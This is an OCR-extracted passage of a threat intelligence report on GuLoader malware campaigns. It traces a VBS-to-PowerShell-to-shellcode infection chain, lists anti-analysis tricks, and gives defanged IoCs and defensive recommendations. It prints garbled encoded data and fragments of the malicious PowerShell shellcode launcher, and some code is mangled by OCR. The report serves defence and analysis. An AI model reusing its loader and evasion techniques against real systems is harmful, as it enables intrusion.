/IWSF1SPOROETSimL: g P1GKH31CLCK dqI80i. qIrz7pMjLljcIuz! Rhuka7eqe21REu.V08\urtFSqu5Yan]Scwothf’-\ZNJx\‘hJ\\Sf pCizbk5Q1mZXamLbIi eLrz4D0 156/D28
/ZTJPItPSLBT]G2dl\\7L\\STKtPuky\\SqﬁxC7§545U jt6H0qQz17NZTqVITtijGqrQP+iMamm)iewfUuquISXFKY3u@YKFL/RnYSQLy+vumHRIU7hAC 1iwBCF4najol 30: nrvkasvsmvsvma:hwkuxyq 1VN13AX8Zz! HEs,KvouPFuvv/rs?Kt?rqu

/qIrz7tNhVIkOEUyRHPmPE7 fraRpIf0jNqrgUnsXdIvrtzgacjqPWLBTDR1PUiNEGiVaQkiS7EVI/CqOHVLSDCFVBUAMYL4eKEKdHAJpriUZIRO+1WImAZ 1YG16BVQE lmr2bSvd

/2PuzaKcGY7bCT7CCFYTLELIYX3hKmT sNwIqrPcuyH8QKhT7f8ezKdsmIT+LRWHWZWZST7upyMOI8b+rX60U4QuCp41SZEB2xaY t 3NV q3Z7mCF 2wkbcv1Duhvw3AL BKchIvfanBNBBOBlncn1v76t&(75)P+G+qLGEV/B\\\ 17TvII6188mBo+5q3whkeyS5XkcsSe6191a8gcfi
/Tt7F7aYhy78cks1LUkVIt2zmIK6cFChD7gXTYx/4AHMA21MICsSCGECFQIULX

/ZYNK9VbaAAPZMWTVPLQIYw+BE1QKMGMItvCyqopIY 2K L tWYHU LOAQhctOlocL! g kug1@YT5a9L9Tj+SDIwhexXcvSmkFLpIhFQhYd7zuLboVZ5+G19s2t11A1aPcDHVCqLKk3aQ7P+HchY3frVSOXkvZFTSREY+yvIR10H
897UTN+GTY3a1RAVVYO3KbUEUTb1K Zqliv7Ded41uDL shIBRX0030ugHF2I1CS 2pI2XIgKULnQr 2AXBOBBLONHIEQp/ K2 1AME7wxpTLEV1aYRhK14nOKNLBSKS ERZ8rndS6nbZdHAIThmc93ZGHEAL L jeeoCdoEWOSE s TmxqdpN107TaCdaUi L tH SnJ0Q46M4
/TbwrusCUnh7neelya73YuvPugzDacc7i7M+oNz12t7g3YKEy7MRVVds J7nBmCUSY smBdsYbrTF92pE tpBWoQWsOTHLXXKse/VStII5cTaAhepr0/VXzha78AqBQP1Snms4alr6Nc j 712Ba1ChnaveswaS03CF 4Mdr TXt40kGoTdhagnvaK ta/C8SJECHvyFDa23Mz t 6RmSXmy 7NA
/HHKC+3AX3YdywZ2XqMY1ITgGqjwCXrgtLI3pR16B1+F/aM7dZ 1Ky 3AXVTLEKITaF zKBGEIKWTUKMIngTA/ 2ELmUF 2Tt 7XpF 40y 78uTQi gOSVIt+7mDIYPObCPZmhDEDSPZYTU DueDZILvdi68+62CS33FALSILCHMXbO2AXZShZLyIWUWUF 6hUm3rOBMgZ1/q@weizpftT1hpOUiz

© Intrinsec

Figure 30: Base64 encoded data hosted on the URL found in the PowerShell script.
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After decoding and extracting the data from the specifically given offset and size, the second
PowerShell script was found to be filled with random comments in its code.

L X N
Function Juleri@2([String]$Preco) {

Modtage = New-Object byte[] ($Preco.Length / 2)

wuddarex -1t $Preco.Length; $Akmuddarex+=2){

$Preco.Substring($Akmuddarex, 2)

larex/2] = [convert]::ToByte($letvandsr

© Intrinsec
Figure 31: Content of the second PowerShell script.

After removing those comments, one could find XOR encrypted data passed through various variables.

200
Function Juleri®@2([String]$Preco) {
Modtage = New-Object byte[] (%Preco.Length / 2)
« -1t $Preco.Length;
$Preco.Substring($Akmuddarex, 2)
= [convert]::ToByte($letvandsr
($Modtage[ $A

[String][System.Text.Encoding]: : ASCII.GetString($Modtage)
}
$Eksorc0=Julerid2

Eksorcl=Juleri®2

Eksorc2=Juleri@2 ) ( \BDABAB"

Eksorc3=Juleri@2 '8BA CB1B5BDFG91BGACBDAABT ABBEBDAAAEB1BEEBDABF690B9B6BCEBA4ED3ABDEE "
jEksorc4=Juleri®2

Eksorc5=Juleri@

Eksorc6=Juleri®2

Eksorc7=Juleri®2

Eksorc8=Juleri@

$Eksorc3=Julerid2 ) TAAA

$Hernan@=Juleri®2 ! DBFESACBD

fHernanl=Juleri®2

© Intrinsec

Figure 32: Content of the PowerShell script after removing the comments.
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Once decrypted, a shellcode is executed via function CallWindowProcA. This function takes as first
argument a pointer to a callback function. When this pointer is used to call the function, it is called a
callback. This behaviour can be abused to run a shellcode by passing a pointer to the shellcode in the
first argument. This article contains other APIs that threat actors can leverage to abuse this
functionality.

:GetDelegateForFunctionPointer({(api_resolve_func
[UInt32]) ([IntPtr])}))

tem.Runtime.InteropServices.Marshal]:
stem.Runtime.InteropServices.Marshal]::Co

= [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((api_r
), (Juleri@4 @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
.Invoke( s , ,0,0)

© Intrinsec

Figure 33: Decrypted code found in the second PowerShell script responsible for launching a shellcode.

This shellcode is used to decrypt another shellcode present on the same file “Beruse.Sor” at a different
offset.

Offset (n) Decoded text

00000000

04000010

99000020

00000030

00000040
opServices.Marsha :GetDelegateForFunctionPointer((api_resolve_func ‘ntdll 00000050
, [UIn , [UInt32], [UINt32]) ([IntPtr])))

pi_resolve_func 'ntdll' *NtPro irtualMemory

Bq. o»

00000070
00000080
00000090
.Invoke([IntPtr]:: 3 00000080
“Invoke([IntPtr

99000080
000000C0
em.Runtime.InteropServices 00000000

em.Runtine. Interopservices ] , 648, y ] 000000E0
000000F0

[System.Runtime.InteropServices.Marshal]: : GetDelegateForFunctionPointer ((api_resolve_func 'USER32' e

, (Juleri®4 @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])}) 0000120
Invoke( 5 5 ,0,0) 00000130
60000140

00000150
0000160
60000170
0000180
00000150
00000120
0000150
600001C0
60000100
000001E0
00000170

Beginning of the
encrypted shellcode

2F0
00000300
00000310
00000320
00000330

© Intrinsec

Figure 34: Location of the shellcode used to decrypt the other shellcode.
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The overall content of the file retrieved from the URL present on the PowerShell script and saved on
the disk under the name “Beruse.Sor”, can be summarized with the following figure:

offset 0
-— .
Decryption
offset 648 @™ ccilcode offset 648
. .
Encrypted
shellcode
offset offse
39543 189543
PowerShell
Script
offset o—
210306

© Intrinsec
Figure 35: Content of the downloaded file “Beruse.Sor”.

The XOR key that will decrypt the encrypted shellcode can be found inside the first shellcode amongst
the following set of assembly instructions. In this case, the key is “Ox3EAF89BA”.

© Intrinsec

Figure 36: Assembly instructions responsible for the decryption of the second shellcode.
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The following python script can be used to decrypt the second shellcode with the previously found key.

import struct

struct.pack('<I"'

.write(bytes(out))

© Intrinsec
Figure 37: Python script that can be used to decrypt the second shellcode with the previously found XOR key.

The full chain of infection for this campaign can be summarized with the diagram below:

ac-at.net/Tulle.asd

=

—_— ee —_— —
(, Shellcode n° 1 used
to decrypt and run shellcode n°2
N o
XOR encrypted
) Encoded | .- shellcode n°2 containg the
Downloads and decode data a main functions of GuLoader

"Beruse.Sor"
PowerShell script

©) ©) ® ® A —

Contains Contains .

% Attachment ZIﬂ E U

used to inject and launch
shellcode n*1

VBS . /  Extracts and runs second
S~ - Powershell script

Email spoofing .gz or .zip archive Obfuscated VBS script Obfuscated PowerShell

the company script

© Intrinsec

Figure 38: A chain of infection using ZIP and PowerShell to deploy GuLoader shellcode.

2.4. Shellcode anti analysis

As mentioned by McAfee, GuLoader employs many techniques to hinder the analysis process of the
shellcode:

e Employs runtime padding.

e Scans whole process memory for analysis tool specific strings.

e Uses DJB2 hashing for string checks and dynamic API address resolution.

e Strings are decoded at runtime.

e Checks if QEMU is installed on the system by checking the installation path:
C:\\Program Files\\qga\\gga.exe

e Patches the following APls: DbgUIRemoteBreakin

e The function’s prologue is patched with ExitProcess call.

e LdrLoadDlIl

© Intrinsec
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e The initial bytes are patched with instruction “mov edi edi.”

e DbgBreakPoint

e Patches with “nop” instruction

e Clears hooks placed in ntdll.dll by security products or researcher for the analysis.

e Window Enumeration via EnumWindows

e Hides the shellcode thread from the debugger via ZwSetinformationThread by passing 0x11
(ThreadHideFromDebugger)

e Device driver enumeration via EnumDeviceDrivers and GetDeviceDriverBaseNameA

e Installed software enumeration via MsiEnumProductsA and MsiGetProductinfoA

e System service enumeration via OpenSCManagerA and EnumServiceStatusA

e Checks use of debugging ports by passing ProcessDebugPort (0x7) class to
NtQueryInformationProcess

e Use of CPUID and RDTSC instructions to detect virtual environments.

Those checks often result in an error revealing that GuLoader managed to detect the environment and
thus prevent the download and decryption of the next stage payload.

Error *

[ 0 , This program cannot be run under virtual environment or
debugging software !

Figure 39: Error message returned when GuLoader manages to detect the analysis environment.

3. Infrastructure Analysis
3.1. Leveraging Google Drive for final payload delivery

The observed campaign targeting companies from the energy sector revealed the use of the legitimate
service Google Drive for payload hosting and delivery.

Initial spearfishing email with attached GulLoader payload was sent from a Thai IP (147.50.227[.]113).
Upon execution of the payload and after injection, the malware would contact 142.250.179[.]78
(Google LLC) to retrieve the final payload from a Google drive instance resolving the following URLs:

e hxxps[://]ldrive[.]google[.]Jcom/uc?export=download&id=1BDYk252qc7_7mHf4QCodtbpjlysH
T4Vv

e hxxps[://]drive[.]google[.]com/uc?export=download&id=1zXYSS2YpyezHZdQPtXPdNrOuPNor
VivP

Unfortunately, both of those URLs return a 404-response code at the time of writing this report. This
would indicate that the threat actor has deleted the final payload, perhaps with the intent of
concealing the goal of the campaigns.
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Conclusion

Through analysis of both recent and past campaigns using GuLoader, Intrinsec’s CTl team hopes to
highlight how stealthy and efficient this loader is. From Easysoft’s CloudEye humble beginnings in

underground forums for hackers to its use in targeted campaigns observed in this report testify to the
success of this malware.
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[1l - Actionable content

1. 1oCs
Value Type Description
0c86253017d45f1cf09b474135ab9a603584f4c6d1d8d22b9c SHA-256 NSIS loader
bce7bed6dfb019
a09ed21fa6609b2868160bd39abf1628a797cc703a0d64a11 SHA-256 emneomraadedefinition.ove
4585d0c8b9c9982
50f7d8503f51e02f52¢3f666ad902900b2b90809df612c96e8 SHA-256 Malicious RTF
8cd51466416c0b
ec5be7¢50c187de9346e381fe229eb22a3383dfd70bbac356 SHA-256 Liljans Slipstrmme.exe
8051af0ee25016¢
107.172.148[.]208 IP address Hosting payload
91.234.99[.]51 IP address Guloader C2
103.131.57[.]119 IP address Hosting payload
188.86.117[.]83 IP address IP performing malspam
147.50.227[.]13 IP address IP performing malspam
ac-at[.]net Domain Hosting payload
rdns.aesite[.]cz Domain GulLoader C2
00gssa[.Jcom Domain Guloader C2
00gts[.]ru Domain GulLoader C2
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2. Recommendations

GulLoader has proved to be a stealthy and highly customizable loader. The campaigns studied in this
document reveal that the use of GuLoader, coupled with a smart use of spear phishing techniques, can
prove to be very efficient for initial access and further exploitation.

To prevent your organization from being infected, Intrinsec’s CTlI recommends to:
Network and Emails policy

e Train your staff to always question the legitimacy of an email, especially if it contains
attachments.

Block the domains names included in the loCs section of this report.
Block domains associated with any GuLoader campaigns.

Block emails sent from spoofed or not trusted domains.
Block IP addresses included in the loCs section of this report.
Block IP addresses associated with any GuLoader campaigns.
e Do not upload internal emails on public platforms.

System and endpoint security

Prevent PowerShell execution by normal users.
Use GulLoader’s detection rules on endpoints.

Train your staff not to activate content on Microsoft Office documents if coming from an
untrusted source.

3. Sources

» https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye
» https://github.com/OALabs/research/blob/master/ notebooks/2022-12-16-

guloader.ipynb
» https://research.checkpoint.com/2020/guloader-cloudeye/

» https://research.checkpoint.com/2023/cloud-based-malware-delivery-the-evolution-of-

guloader/

» https://therecord.media/german-intelligence-warning-Ing-terminals-cyberattacks
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